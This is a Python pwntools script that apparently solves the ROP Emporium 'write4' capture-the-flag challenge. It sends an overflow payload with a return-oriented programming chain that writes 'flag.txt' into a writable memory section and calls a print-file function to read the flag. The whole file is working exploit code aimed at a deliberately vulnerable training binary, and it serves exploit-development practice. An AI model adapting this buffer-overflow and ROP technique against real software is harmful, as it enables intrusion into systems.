#!/usr/bin/env python3

from pwn import *

# Connect
elf = ELF('./write4')
p = process('./write4')

# Gadgets
mov_addr = 0x0000000000400628 
pop_r14_r15 = 0x0000000000400690
pop_rdi = 0x0000000000400693

# Address to store data and open files
data_addr = 0x00601500
file_addr = 0x00400516

# Move flag.txt into the section we can read
payload = b'A'*40
payload += p64(pop_r14_r15)
payload += p64(data_addr)
payload += b'flag.txt'
payload += p64(mov_addr)

payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(file_addr)

p.recvuntil('> ')
p.sendline(payload)

print(p.recvall())
